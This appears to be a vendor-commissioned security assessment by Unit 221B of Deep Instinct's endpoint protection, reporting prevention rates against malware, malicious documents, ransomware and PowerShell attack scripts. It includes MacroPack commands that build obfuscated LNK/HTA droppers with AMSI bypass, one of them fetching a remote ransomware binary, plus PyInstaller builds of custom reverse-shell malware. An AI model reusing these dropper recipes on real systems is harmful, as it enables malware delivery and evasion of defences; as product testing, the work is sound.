TECHNICAL REPORT

Deep Instinct
Product Assessment
Table of Contents
Executive Summary ..................................................................................................................................... 3
Methodology ............................................................................................................................................... 4
Tests ............................................................................................................................................................. 7
Portable Executables ............................................................................................................................... 7
Signature Detection ................................................................................................................................. 8
Static Analysis .......................................................................................................................................... 8
Dynamic Analysis ..................................................................................................................................... 8
Network Analysis ..................................................................................................................................... 8
Behavior Analysis (Artificial Intelligence / Deep Learning) ...................................................................... 8
Unknown Executables.............................................................................................................................. 8
Custom Executables ............................................................................................................................... 10
Documents, Shortcuts, Links and HTAs.................................................................................................. 12
Ransomware .......................................................................................................................................... 18
Deep Instinct EPP vs. Windows Defender.................................................................................................. 25
Test Results ........................................................................................................................................ 27
Conclusion ................................................................................................................................................. 27

2
Executive Summary
Unit 221B assessed Deep Instinct’s claims that their Endpoint Protection Platform (EPP) product can
automatically prevent unknown threats by using deep learning to identify patterns indicative of
malicious behavior prior to execution on the endpoint. This assessment evaluated the following claims
made by Deep Instinct:

• The platform automatically prevents malware execution with >99% accuracy.

• The platform detects malware and attacks with <0.1% false positives.
• The platform is adept at recognizing and automatically preventing previously unknown or
custom (0-day) attacks.

Tests were conducted using both Unknown and Custom techniques and malware.

Unknown attacks are techniques or malware that had not been publicly disclosed before deployment of
the tested version of the Deep Instinct “Brain”. The Deep Instinct EPP Brain tested during this
assessment was deployed on December 19th, 2021. The unknown malware set is comprised of samples
from VirusTotal with file creation dates between December 20th 2021 and March 20th 2022.

Custom attacks are techniques and malware samples created by Unit 221B specifically for this
assessment. These attacks were designed to thoroughly test Deep Instinct’s ability to penetrate
obfuscation techniques and detect malware that the Brain could not have been exposed to at the time
of deployment.

The following detection capabilities were tested:

• Static analysis (malicious files on disk)

• Dynamic analysis (malicious files being executed)
• Analysis of files in-transit

Static malware analysis is a technique by which executable files on disk are examined by the Deep
Instinct agent to uncover potential malware. Dynamic analysis examines the behavior of a file at runtime
and alerts when code makes suspicious changes to the execution environment. The analysis of files in-
transit can be used to prevent a suspected malicious from even reaching the filesystem.

Unit 221B found that the Deep Instinct product was highly effective at detecting and preventing
unknown attacks. In the tests conducted for this engagement, Deep Instinct prevented unknown
malware attacks with 100% accuracy. Deep Instinct was also adept at preventing custom attacks with
96.4% accuracy. Overall, the Brain successfully prevented attacks with 99.78% accuracy.

In the tests conducted for this engagement, no false positives were identified. Unit 221B installed
common software on the test systems, including Python, Chrome, and Microsoft Office. Deep Instinct
did not prohibit the installation or use of these benign applications. Deep Instinct did not interfere with
everyday business use of the endpoint systems.

3
Methodology
Unit 221B created a test environment to evaluate the Deep Instinct Endpoint Protection Platform
(EPP’s). We then performed a battery of tests designed to measure the ability of Deep Instinct to detect
and prevent unknown and custom variants of portable executables, documents, and ransomware.

Tools and Equipment

The testing team used virtual machines to quickly create and restore operating system instances for
rapidly conducting tests without introducing additional variables. Once a test had been conducted, the
virtual machine could be reset to its initial state, and each test began from the same initial state.

A disposable virtual machine was used as the malware sandbox. The sandbox was constructed using
VMWare ESXI configured with 8 GB of RAM and 120 GB of disk space.

Figure 1: Screenshot of VM Configuration

Controlling for Variables

Unit 221B restored snapshots of the machine between tests to ensure that they did not interfere with
each other. A single snapshot, created once the machine was operational with the following software,
was reused as a control group throughout the duration of testing.

• Microsoft Office
• Chrome
• Python 3.10

4
Agent Configuration
This round of tests was performed with restrictive settings that would resemble the hardened
cybersecurity environment of a mature organization.

Configuration Name Configuration Status

Enable D-Cloud services Enabled
Threat Protection Settings – Detection Moderate
Threat Protection Settings – Prevention Moderate
Known PUA Prevent
Scan files accessed from network folders Enabled
Embedded DDE objects in Microsoft Office Documents Allow
Ransomware Behavior Prevent
In-Memory Protection Enabled
In-Memory Arbitrary Shellcode Prevent
In-Memory Remote Code Injection Prevent
In-Memory Reflective DLL Injection Prevent
In-Memory .Net Reflection Prevent
In-Memory AMSI Bypass Prevent
In-Memory Direct System Calls Prevent
In-Memory Credential Dumping Prevent
In-Memory Known Payload Execution Prevent
Suspicious Script Execution Prevent
Malicious PowerShell Command Execution Prevent
Suspicious PowerShell Command Execution Prevent
Malicious JavaScript Execution Prevent
Macro Execution Deep Static Analysis
protection
PowerShell Execution Allow
HTML Applications (HTA files) and JavaScript via rundll32 executions Prevent
Active Script Execution (JavaScript & VBScript) Prevent
Integrate D-Client with Windows Security Center Enabled
Table 1 - Deep Instinct Agent Recommended Configuration

Malware Analysis
Unknown and custom malware was placed on the file system to test Deep Instinct’s static analysis
capabilities. The Deep Instinct Endpoint Protection Agent periodically scans the filesystem for files,
identifies file writes, and analyzes them to detect unknown malware or malicious behavior. The product
should identify such files, automatically delete or quarantine them, and notify the user.

5
Unit 221B used “one-click” attacks to test dynamic analysis. A one-click attack requires some interaction
from the user, such as launching an executable or opening a document. These tests simulate phishing
attacks in which a user is tricked into doing just that. The Deep Instinct product should detect malicious
actions such as reading sensitive system files or memory locations and prevent the file from running or
terminate execution. We tested in-transit detection by uploading and downloading malicious content.

Four categories of malware were tested by Unit 221B.

• Portable Executables
• Documents, Shortcuts, Links and HTAs
• Ransomware
• PowerShell

These categories were chosen because they represent popular contemporary attack vectors.
Ransomware, for example, has become increasingly popular over the past 2 years.

Figure 2 - Ransomware Growth by Quarter from Threat Post 1

Unit 221B observed the actions taken by Deep Instinct to defend against an attack, including:

• Prevented download of the file before it was written to disk

• Detected the file using static analysis at rest and deleted
• Prevented execution on-click
• Terminated during execution

1
https://threatpost.com/ransomware-volumes-record-highs-2021/168327/

6
Analysis Criteria
Unit 221B measured how well Deep Instinct was able to detect unknown and custom malware. We
analyzed each test case to determine whether it was allowed, prevented, or partially prevented.

Results Categorization
Allowed
Unit 221B would categorize a test as “allowed” when any of the following conditions were met.

• A reverse shell was returned

• A scheduled task that was created and executed
• Arbitrary code was executed
• Persistence was successfully created

Prevented
Unit 221B would categorize a test as “prevented” when any of the following conditions were met.

• A notification displayed saying that an attack had been automatically prevented, and the tester
was unable to receive a shell.
• A notification displayed saying that an attack had been automatically prevented, and the tester
was unable to obtain persistence.
• The file was automatically deleted from the disk.
• A network error automatically prevented file download (TCP Reset).

Partially Prevented
Unit 221B would categorize a test as “partially prevented” when any of the following conditions were
met.

• A notification was displayed that malicious activity was prevented, but the tester was still able
to obtain a shell.
• A notification was displayed that a part of the malicious activity was prevented, but the tester
was still able to obtain persistence.

Tests
Portable Executables
Unit 221B tested Deep Instinct’s ability to identify unknown and custom executable files (“binaries”) by
exposing the test device to malicious executable files.

• Unknown files were obtained from VirusTotal submissions with a file creation date between
December 20th, 2021 and March 20th, 2022.
• Custom files were written and compiled by Unit 221B for this test. Each of these files exhibited
malicious characteristics of common malware. These characteristics are listed in the results
table below.

This test engaged multiple aspects of the Deep Instinct product and measured its efficacy against the
common portable executable “exe” file format.

7
Signature Detection
Detection based on file properties such as its hash.

Static Analysis
Category of techniques used to analyze software without executing it. A typical EDR solution will
attempt to detect characteristics of malicious behavior to take action against the file before execution.

Dynamic Analysis
Category of techniques used to analyze software while it is running. A typical EDR solution will attempt
to detect actions commonly performed by malware and take action against the offending process. For
example, the EDR software might terminate the process.

Network Analysis
Category of techniques used to analyze network packets. An endpoint anti-malware product can see
network traffic going to or from the device. Actions can be taken to automatically prevent downloading
malicious files that would threaten the device or to prevent uploading to another device that would
spread the infection. Symptoms of malware can also be detected if malware generates characteristic
network traffic or attempts to communicate with a remote host known to be malicious.

Behavior Analysis (Artificial Intelligence / Deep Learning)

Category of techniques combining static and dynamic analysis techniques to analyze malware and
automatically isolate patterns of malicious behavior. Deep learning algorithms can learn from large
datasets and find patterns undetectable by humans.

Different EDR / Antivirus / EPP products may excel at detecting certain malicious executables but fail to
detect others. Detection capabilities will often depend on pre-defined lists of Indicators of Compromise
(IoCs) such as hashes or network packet characteristics. Deep Instinct distinguishes itself by also
providing a model generated by deep learning algorithms that can classify files as malware based on
their characteristics and behavior.

According to Statista.com the annual number of malware attacks worldwide to date is estimated to be
around 5.6 billion per year. Therefore, the ability to reliably detect and take action against malicious
executables is a basic requirement of any competitive anti-malware product. Products must also
compete against built-in anti-malware software such as Microsoft Defender, which comes installed on
contemporary Windows operating systems by default.

Unknown Executables
To establish that the Deep Instinct product meets executable detection requirements, Unit 221B
exposed the Deep Instinct-defended operating systems to 200 malware samples drawn from VirusTotal
submissions with a file creation date between December 20th, 2021 and March 20th, 2022. Deep Instinct
successfully prevented every sample.

Unit 221B collected a diverse sample of 200 Windows 10 malware binaries from VirusTotal using the
following criteria:

• At least 65 detections by other antivirus vendors

• The file was of the type “peexe”

8
 • The file was not corrupt
• The file was under the size of 1 MB

Two methods were used to introduce the malware to the device. Unit 221B initially tested the malware
by first defanging malware by removing the “.exe” extension of every file. This directory was
compressed into a zip file and downloaded onto the target virtual machine. Once on the target machine,
the directory was unzipped and one by one, files were renamed to include the “.exe” extension. As the
files were renamed, an automatic deletion event was recognized when Deep Instinct notified the user
that a malicious file was found and automatically deleted the file.

Figure 3 - Portable Executables Downloaded from VirusTotal

Deep Instinct automatically prevented Chrome from downloading malicious files over the network
before they could be written to disk.

9
 Figure 4 - Deep Instinct Threat Prevention for Downloaded & Signed Malware

To further test executable detection capabilities, Unit 221B signed 10 unknown malicious portable
executables with an authentic code-signing certificate and exposed them to the defended system in the
same way. Deep Instinct was able to successfully detect and prevent every sample.

Name ALLOWED/PREVENTED
Signed Unknown Malicious Portable Executables PREVENTED
(x10)
Unknown Malicious Portable Executables PREVENTED
manually renamed and executed (x100)
Downloaded Unknown Malicious Portable PREVENTED
Executables (x100)
Table 2 - Deep Instinct Response to Malware Executables

Custom Executables
Unit 221B tested Deep Instinct’s ability to detect and prevent execution of custom written or generated
executables exhibiting malicious behavior. As before, both signed and unsigned versions of each
executable were tested using an authentic code-signing certificate.

Unit 221B used two methods to generate custom malware.

10
PoshC2
The well-known PoshC2 framework2 can generate shellcode for injection into other executable files.
While the resulting executable binary files may be unique, commonalities with other malicious
executables or characteristics idiosyncratic to PoshC2 could trigger detection. Signed and unsigned
versions were both tested.

Python Executable
Unit 221B developed custom malware executables using a reverse shell script. The resulting program
also included features designed to distract a user from malware behavior during a phishing attack. One
such example of this was a PGP.exe binary that would show a prompt for a passphrase and then appear
to decrypt an included document but also execute the reverse shell in the background. Signed and
unsigned versions of these executables were tested as well.

The custom malware is capable of mimicking benign services while discreetly performing malicious
actions including opening documents embedded within the binary, downloading persistence
mechanisms, and creating reverse shells. During testing iterations, the custom malware was deployed
against the platform to evaluate Deep Instinct’s ability to prevent new malware variants. The malware
was developed in Python 3.10 and compiled with PyInstaller 4.83.

pyinstaller --noconfirm --onefile --windowed --icon "C:/[PATH]/Nvidia.ico" --name

"executablename.exe" --clean --key "[KEY]" --noupx "C:\[PATH]\executable.py --distpath .\output"

Name ALLOWED/PREVENTED
Reverse Shell ALLOWED
Signed: True
Reverse Shell PREVENTED
Signed: False
Implant (Posh C2) PREVENTED
Signed: False
Implant (Posh C2) PREVENTED
Signed: True
Reverse Shell PREVENTED
Persistence: Word
Signed: True
Reverse Shell PREVENTED
Persistence: Excel
Signed: True
Table 3 - Deep Instinct Response to Custom Executables Using Recommended Configurations

2
https://github.com/nettitude/PoshC2
3
https://pyinstaller.org/en/stable/

11
Analysis
The Deep Instinct product successfully prevented all 210 “unknown” executables, demonstrating a
strong ability to detect malicious files that were unknown at the time of the release of the test Deep
Instinct Brain. It also prevented the Posh C2-generated shellcode from executing, which may indicate
that the product can recognize common generated shellcode patterns.

Unit 221B tested six custom executables against the Deep Instinct product. The product successfully
prevented five of the six executables. While the custom sample set size was necessarily small due to the
natural limitations in creating or obtaining 0-day exploits, Deep Instinct was able to achieve 83%
accuracy in detecting persistence mechanisms despite obfuscation and code signing. With a larger
sample set, it is likely that the accuracy percentage would be higher.

Type Attacks Run Attacks Prevented Percentage Prevented

Unknown 210 210 100%
Custom 6 5 83%
Table 4 - Deep Instinct Prevention Statistics (Unknown vs Custom)

Deep Instinct performed well in detecting both custom and unknown portable executables. Deep
Instinct was also able to detect and prevent custom persistence techniques that used Word and Excel. It
is possible that the Deep Instinct product detects the persistence mechanisms rather than the reverse
shell itself since it failed to detect a naked reverse shell signed with an authentic certificate.

Documents, Shortcuts, Links, and HTAs

Unit 221B exposed the Deep Instinct product to multiple malicious document types, including Word,
Excel, and OneNote documents.

Microsoft’s Office Suite is a common target for malware due to its ubiquity and powerful feature set.
Document attacks have become more challenging due to developments in Microsoft Defender and the
Office Suite itself, but these protections can be bypassed with some effort, obfuscation, and encryption.

Document exploits usually either target the Office program itself using 0-day exploits or use the
supported scripting languages in “one-click” phishing attacks. In such an attack, the victim is tricked into
opening the document and removing safety features, allowing macro scripts to run. These scripts are
implemented in the Visual Basic for Applications programming language, which is Turing-complete and
fully featured. Such scripts have general access to the device’s file system and other aspects of the
system environment. An attacker can leverage these mechanisms to access sensitive information or load
further attacks into the victim system.

12
 Figure 5 - Visual Basic Macro created with MacroPack

Remote Template Injection techniques make detection even more difficult because the malicious part of
the document is not present on the victim device until it has already been opened. This technique can
be accomplished by modifying the settings.xml.rels file contained in the Office file formats such as docx,
pptx, and xlsx. Such attacks are difficult to detect because an infected document will appear identical to
the unmodified version. Encryption and obfuscation tactics designed to evade anti-malware software
further complicate detection. These factors have caused Remote Template Injection attacks to become
ubiquitous in phishing and other social engineering attacks.

Figure 6 - Malicious settings.xml.rels

As seen in Figure 11, according to Atlas VPN research, 43% of all malware binaries in 2021 were hidden
in Office documents4.

4
https://atlasvpn.com/blog/43-of-all-malware-downloads-are-malicious-office-
documents#:~:text=According%20to%20recent%20Atlas%20VPN,Threat%20Report%3A%20July%202021%20Editio
n.

13
 Figure 7 - Percentage of Malicious Office Documents asl Downloaded Malware

Office templates can also be used as persistence mechanisms. Default templates are commonly used
within large organizations to maintain consistency in fonts, branding, and other visual elements. When
opening a new document, the Office program will load a default template from the file system
automatically.

A malicious default template can execute very frequently, especially in business contexts where an
Office program might be opened multiple times every day. Such a file can contain scripts to download
and run malware from remote hosts or open reverse shells, making them effective for persisting access
to a victim device. Office Template Macros and add-ins offer similar functionality and can be exploited
to similar effect.

Figure 8 - Deep Instinct Deletion of Unknown Malicious Word Document

14
Unit 221B tested Deep Instinct’s accuracy against 100 unknown malicious documents. These documents
were selected from VirusTotal. Chosen samples had at least 45 malicious detections and had a file
creation date between December 20th 2021 and March 20th 2022. Deep Instinct successfully prevented
exploitation from every tested document.

Unit 221B collected 100 samples of malicious Word documents from Virus Total using the following
criteria:

• At least 45 detections by other antivirus vendors

• The file was of the type “doc”, including both “doc” and “docx” formats
• The file was not corrupt

Name ALLOWED/PREVENTED
Unknown Malicious Word Document (x100) PREVENTED
Table 5 - Deep Instinct Results vs Unknown Malicious Word Documents

Custom Office Document Attacks

In this test, 18 distinct malicious documents were introduced to the Windows system defended by Deep
Instinct. These documents were created by Unit 221B specifically for this assessment and featured
techniques commonly used to evade EDR detection. With the appropriate configuration, Deep Instinct
was able to successfully prevent all tested document attacks.

MacroPack was used to create Documents, Links, HTAs and other Active Script type files.

echo "https://site/attachments/RW_signed.exe" "RW_signed.exe" | .\macro_pack.exe -G .\[FILE

NAME].lnk --template=DROPPER --execmethod=TaskScheduler --obfuscate-names --obfuscate-
strings --charsetmethod=random_heur_bypass --hta-macro --run-in-excel --amsibypass=4 –xor

Figure 9 - MacroPack Builder

15
 Figure 10 - Obfuscated Macros created with MacroPack

Name ALLOWED/PREVENTED
Remote Shellcode Download PREVENTED
Vector: Macro Enabled Word Document
Remote Shellcode Download and Execution PREVENTED
Vector: Word Document with Remote Macro Enabled
Template
Command Execution PREVENTED
Vector: Macro Enabled Word Document
Command Execution PREVENTED
Vector: Word Document with Remote Macro Enabled
Template
Remote Binary Download and Execution PREVENTED
Vector: Macro Enabled Word Document
Signed: False
Remote Binary Download and Execution PREVENTED
Vector: Word Document with Remote Macro Enabled
Template
Signed: False
Remote Binary Download and Execution PREVENTED
Vector: Macro Enabled Word Document
Signed: True
Remote Binary Download and Execution PREVENTED
Vector: Word Document with Remote Macro Enabled
Template
Signed: True
Remote Binary Download and Execution PREVENTED
Vector: Macro Enabled Word Document
Signed: True
Persistence: True

16
 Name ALLOWED/PREVENTED
Remote Binary Download and Execution PREVENTED
Vector: Word Document with Remote Macro Enabled
Template
Signed: True
Persistence: True
Remote Binary Download and Execution PREVENTED
Vector: Excel Document
Signed: True
Remoted Binary Download and Execution PREVENTED
Vector: Excel Document
Signed: False
HTA with VBScript Macro PREVENTED
Execution: Manual
HTA with VBScript Macro PREVENTED
Vector: PowerShell Web Client
Execution: Manual
HTA with Embedded VBScript Macro PREVENTED
Vector: OneNote Section
Binary Downloaded and Executed PREVENTED
Vector: LNK with Embedded HTA containing VBScript
Signed: True
Binary Downloaded and Executed PREVENTED
Vector: LNK with Embedded HTA
Signed: True
Obfuscated: True
Binary Downloaded and Executed PREVENTED
Vector: LNK with Embedded HTA
Signed: True
Obfuscated: True
XOR: True
Table 6 - Deep Instinct Response to Custom Office Document Attacks using Recommended Configurations

Analysis
Deep Instinct demonstrated strong protection against unknown document attacks, preventing
exploitation for every unknown sample introduced to the target system. Deep Instinct also effectively
prevented attacks from custom malicious documents generated for the test. Remote Template Injection
attacks were prevented as well, which are typically much harder for systems to detect, validating Deep
Instinct’s endpoint detection claims.

Name Attacks Run Attacks Prevented Percentage Prevented

Unknown 100 100 100%
Custom 18 18 100%
Table 7 - Summary of Deep Instinct Reponses to Document Attacks (Unknown vs Custom)

17
Ransomware
Unit 221B tested Deep Instinct’s ability to automatically prevent unknown and custom ransomware
executables.

Ransomware is a type of malicious software designed to extort victims by denying access to computer
systems or files until a ransom is paid. An increase in ransomware has been on the rise since 2018, and
the impacts to an unprepared organization can be financially devastating (in ransom payment, public
relations, and disruption of business). Contemporary ransomware will usually infect a target and begin
encrypting files, typically with a public key. Some ransomware variants will exfiltrate files as well. The
malware will present instructions for paying the ransom. Upon receiving payment, the attacker will
provide a decryption key or software utility. Ransomware attacks are extremely dangerous because they
are simple and only need to evade detection until files are encrypted, which can happen in mere
minutes. Most attacked files are encrypted within 18 seconds to 16 minutes from initial execution5.

Figure 11 - Percentage of Organizations Victimized by Ransomware Globally (2018-2021)

Ransomware is commonly detected by monitoring for rapid, sequential file changes. Files can also be
monitored for dramatic changes in entropy, or randomness, within the file. Since encrypted content
appears random, multiple rapid entropy changes are a strong indicator of ransomware infection.
Significant challenges facing any system attempting to detect ransomware include discerning intentional
user actions such as file encryption and backup from malicious activity and automatically preventing
that activity quickly before damage can be done.

5
https://www.bullguard.com/blog/2018/02/how-long-does-it-take-for-a-virus-to-infect-a-computer

18
 Figure 12 - Deep Instinct Automatic Prevention of Ransomware Download

Unit 221B tested 100 unknown ransomware executables against Deep Instinct. These portable
executables were selected from Virus Total. All had at least 65 positive identifications as malicious, were
tagged as ransomware, and had a file creation date between December 20th 2021 and March 20th 2022.

Name ALLOWED/PREVENTED
Unknown Ransomware (x100) PREVENTED
Table 8 - Deep Instinct Response to Unknown Ransomware

Unit 221B created ransomware software to test Deep Instinct against a custom attack. Like the other
custom executables, it was compiled using PyInstaller to generate an executable. The code was derived
from a public utility hosted on GitHub6 since 2019. The compiled bytecode was encrypted with 128-bit
AES.

pyinstaller --noconfirm --onefile --windowed --icon "Nvidia.ico" --name "RW.exe" --clean --key
"[KEY]" --noupx rw.pyw --distpath .\output

Unit 221B used Windows Shortcuts (LNK) to launch an embedded HTML application (HTA).

6
https://github.com/jg-fisher/python-ransomware

19
 Figure 13 - LNK with Embedded HTA

MacoPack was used to create a LNK shortcut with an embedded HTA. The DROPPER template
downloads a remote file to the device’s TEMP directory and executes it using a Scheduled Task. The HTA
uses an AMSI bypass method, which runs the payload from within Excel and then uses the hidden path
bypass method to run the real script.

.\macro_pack.exe -G .\rw_excel_scheduledtask.lnk --template=DROPPER –execmethod=8 –obfuscate-

names –obfuscate-strings –charsetmethod=random_heur_bypass –hta-macro –amsibypass=4 –xor –
run-in-excel

The second LNK with embedded HTA is very similar to the first but differs in that WMI is used to call the
downloaded portable executable.

.\macro_pack.exe -G .\rw_excel_scheduledtask.lnk --template=DROPPER –execmethod=1 –obfuscate-

names –obfuscate-strings –charsetmethod=random_heur_bypass –hta-macro –amsibypass=4 –xor –
run-in-excel

20
 Figure 14 - Scheduled Task Created via LNK Execution

Figure 15 - Scheduled Task Execution of Signed Ransomware

Custom Ransomware
Deep Instinct was able to successfully automatically prevent all four custom ransomware attacks
attempted against the system.

21
 Name ALLOWED/PREVENTED
Ransomware Download and Execution PREVENTED
Vector: curl
Signed: True
Execution: Manual
Ransomware Download and Execution PREVENTED
Obfuscation: True
XOR: True
Execution: Scheduled Task
Vector: LNK with Embedded HTA
Signed: True
Ransomware Download and Execution PREVENTED
Obfuscation: True
XOR: True
Execution: WMI
Vector: LNK with Embedded HTA
Signed: True
Ransomware Download and Execution PREVENTED
Obfuscation: True
XOR: True
Execution: Scheduled Task
Vector: LNK with Embedded HTA
Signed: False
Table 9 - Deep Instinct Response to Custom Ransomware Using Recommended Configurations

Analysis
Deep Instinct successfully prevented execution for every unknown sample of 100 presented to the
target system. Deep Instinct was also able to detect and prevent all four of the custom ransomware
executables created by Unit 221B.

Name Attacks Run Attacks Prevented Percentage Prevented

Unknown 100 100 100%
Custom 4 4 100%
Table 10 - Deep Instinct Ransomware Response Metrics (Unknown vs Custom)

Deep Instinct’s automatically prevented custom ransomware that used various methods of delivery with
100% accuracy. The product displayed an ability to detect and prevent even 0-day ransomware attacks.
These results reinforce Deep Instinct’s claims regarding its ability to automatically prevent ransomware
attacks.

22
PowerShell
PowerShell is command shell and scripting language commonly used for automating management of
Windows systems. It features powerful commands that can be used to automate advanced functionality,
but such commands can also be used for malicious purposes. Attackers can abuse PowerShell
commands and scripts to discover processes, download malicious executables, and execute malware.
PowerShell attacks have been on rise since 2016.

Figure 16 - New PowerShell Malware Increase (Q3,4)2019 - (Q1,2)2020

PowerShell attacks can be used to execute file-less malware, which can be challenging for traditional
anti-malware solutions to detect. File-less malware is loaded and executed in memory, minimizing the
number of artifacts created and evading filesystem-based detection and analysis. Since PowerShell is a
trusted Windows system utility, it can often be used to execute malware without raising alarms.
PowerShell is included in every contemporary Windows installation, so malware authors can be sure
their exploits will affect a broad array of targets.

PowerShell attacks are commonly detected by diligent process and command monitoring. PowerShell
version 5 and up provide enhanced logging and security features that can aid in abuse detection. Certain
PowerShell commands can also be disabled or restricted to prevent some common PowerShell abuse.

Unit 221B tested 27 PowerShell scripts against Deep Instinct using recommended configurations. These
PowerShell scripts were selected from a pool of common PowerShell attacks.

23
PowerShell Scripts
Name ALLOWED/PREVENTED
ADRecon.ps1 PREVENTED
ASREPoast.ps1 PREVENTED
HandleKatz.ps1 PREVENTED
Inveigh.ps1 PREVENTED
Invoke-ACLPwn.ps1 PREVENTED
Invoke-ImpersonateUser-PTH.ps1 PREVENTED
Invoke-PSInject.ps1 PREVENTED
Invoke-Portscan.ps1 PREVENTED
Invoke-RunasCs.ps1 PREVENTED
Invoke-SMBCLient.ps1 PREVENTED
Invoke-SMBEnum.ps1 PREVENTED
Invoke-SMBExec.ps1 PREVENTED
Invoke-WMIExec.ps1 PREVENTED
Invoke-noPac.ps1 PREVENTED
KeeThief.ps1 PREVENTED
Out-EncryptedScript.ps1 PREVENTED
PowerUp.ps1 PREVENTED
PowerUpSQL.ps1 PREVENTED
PowerView.ps1 PREVENTED
PowerView2.ps1 PREVENTED
Powermad.ps1 PREVENTED
PrivescCheck.ps1 PREVENTED
SessionGopher.ps1 PREVENTED
SharpImpersonation.ps1 PREVENTED
Sherlock.ps1 PREVENTED
Invoke-NanoDumpPPLInject.ps1 PREVENTED
Powercat.ps1 PREVENTED
Table 11 - Deep Instinct Response to PowerShell Scripts Using Recommended Configurations

Analysis
Deep Instinct successfully prevented execution for every PowerShell sample of 27 presented to the
target system. The tested scripts represent a varied catalog of PowerShell abuse tactics, and Deep
Instinct’s performance indicates a broad coverage of such threats.

Name Attacks Run Attacks Prevented Percentage Prevented

Powershell Attacks 27 27 100%
Table 12 - Percentage of PowerShell Scripts Prevented Using Recommended Configurations

Deep Instinct prevented PowerShell exploits nested within side-loaded DLLs. Calls to MemoryStream for
handling string obfuscation and fileless memory access were automatically prevented by Deep Instinct.

24
While these tests do not represent an exhaustive battery of PowerShell tests, Deep Instinct displays
strong protections against these relatively difficult-to-detect attacks.

Deep Instinct EPP vs. Windows Defender

Unit 221B used Windows Defender’s malware detection capabilities as a baseline for comparison to
Deep Instinct.

Two virtual machine configurations were created in VMWare ESXI:

• SYSTEM A – Windows 10 Pro without Deep Instinct

• SYSTEM B – Windows 10 Pro with Deep Instinct (default configuration)

Unit 221B collected a diverse sample of 100 Windows 10 malware binaries from VirusTotal with file
creation dates between December 20th, 2021 and March 20th, 2022 using the following criteria:

• At least 65 detections by other antivirus vendors

• The file was of the type “peexe”
• The file was not corrupt
• The file was under the size of 1 MB

The samples were defanged by removing the file extension, and the entire sample set was then
compressed into a zip archive and transferred to the test VM. Once uncompressed, the “.exe” extension
was added to each file in turn. As the files were renamed, Unit 221B recorded an automatic deletion
event when both of the following occurred:

• The file was automatically deleted from the filesystem

• The user was notified of a security event

Figure 17 - Windows Defender Deleted Files vs Deep Instinct Deleted Files (System A)

Deep Instinct was more effective than Defender at automatically deleting malicious files and preventing
malware execution. Even using its default configuration, Deep Instinct automatically deleted 68 of 100

25
malware samples. The remaining 32 executables were automatically terminated immediately upon
attempted execution. In contrast, Windows Defender only automatically deleted 5 malicious files. The
remaining 95 malware files were not prevented or terminated by Windows Defender.

Figure 18 - Windows Defender Deleted Files vs Deep Instinct Deleted Files (System B)

The effect of these automatic preventions can be observed by counting the number of Windows system
security events logs. These logs are generated whenever a sensitive action is performed on the system.
These logs are also created during normal use, but malware executions tend to generate a substantial
number of events.

While execution of the same malware sample set was attempted in both environments, the system
defended by Deep Instinct experienced 2,647 fewer security events. These events represent the
potential impact to the system averted by Deep Instinct’s automatic prevention capabilities.

Figure 19 - Windows Defender Security Events vs Deep Instinct Security Events

26
Test Results
• SYSTEM A – Windows 10 Pro without Deep Instinct
o Windows Defender automatically deleted 5 files.
o Windows Defender automatically prevented 0 attacks upon attempted execution.
o 6,677 security events were logged.
• SYSTEM B – Windows 10 Pro with Deep Instinct
o Deep Instinct automatically deleted 68 files.
o Deep Instinct automatically prevented 32 attacks upon attempted execution.
o 4,030 security events were logged.

Conclusion
Unit 221B tested the Deep Instinct with a recommended configuration suitable for a mature customer’s
hardened environment. With proper configuration of the platform and the full suite of prevention
capabilities enabled, Deep Instinct successfully automatically prevented 100% of unknown attacks and
96.4% of Unit 221B’s customized attacks. The Agent exhibited a combined 99.78% accuracy rate for
detection and prevention across unknown and custom attacks.

No false positives were experienced during the assessment. Common tools such as Microsoft Office,
Google Chrome, and Python 3.10 were used extensively during testing. Normal use of such applications
was not impacted, even when the agent was configured to use strict settings.

Name Attacks Run Attacks Prevented Percentage Prevented

Unknown 437 437 100%
Custom 28 27 96.4%
Overall 465 464 99.78%
Table 13 - Overall Deep Instinct Attack Response Metrics (Known vs Custom)

0-day Attacks
Deep Instinct successfully automatically prevented 27 of the 28 custom attacks performed by Unit 221B.
These custom attacks included 6 portable executables, 18 documents, and 4 ransomware executables.

Malware Executables
Deep Instinct was effective at preventing unknown malware attacks. The Deep Instinct product was able
to detect and prevent malware samples obtained from VirusTotal with a 100% success rate,
demonstrating a level of anti-malware security at least comparable to other industry-leading products.

Malicious Documents
Deep Instinct demonstrated the ability to automatically respond to potentially malicious scripts,
shortcut links, HTAs, and malicious documents. Deep Instinct achieved a 100% prevention rate when
configured to scan and prevent document-based attacks. Both unknown and custom attacks were
successfully prevented.

27
Ransomware
Deep Instinct’s strong claims regarding ransomware defense are reinforced by its performance in this
assessment, apparently stopping ransomware attacks based on symptomatic behavior such as file
system events. Unknown and custom attacks alike were automatically prevented by Deep Instinct.

PowerShell
Unit 221B tested Deep Instinct‘s efficacy at preventing attacks such as DLL-sideloading and
MemoryStream7 when executed via PowerShell. The Deep Instinct product effectively prevented both
attacks, closing common vectors for powerful attacks against Windows hosts. Deep Instinct
demonstrated a clear superiority to Microsoft Defender in detecting and preventing PowerShell attacks.

Configuration
Unit 221B tested Deep Instinct using a hardened configuration suitable for an organization with a
mature security program. This configuration prevented many of the attack techniques would not have
been prevented using a default configuration. These results show that Deep Instinct is a powerful anti-
malware product that can detect advanced attacks when configured appropriately. Deep Instinct’s
product onboarding service accordingly assists customers in customizing the solution for their
environment.

Installation and Setup

The Deep Instinct installation and configuration user experience was impressively smooth. Forgoing
installer GUIs, only a simple UAC confirmation was required to initiate the installation, which completed
quickly and unobtrusively in the background. The Deep Instinct process itself was also well-defended.
SYSTEM-level permissions were apparently required to terminate the process.

Deep Instinct Dashboard

The Deep Instinct product also has an exceptional UX design. The interface’s dynamic and interactive
dashboards provided essential information with a clean presentation. It was easy and intuitive to
configure the agent, set policies, and generate reports.

7
https://docs.microsoft.com/en-us/dotnet/api/system.io.memorystream?view=net-6.0

28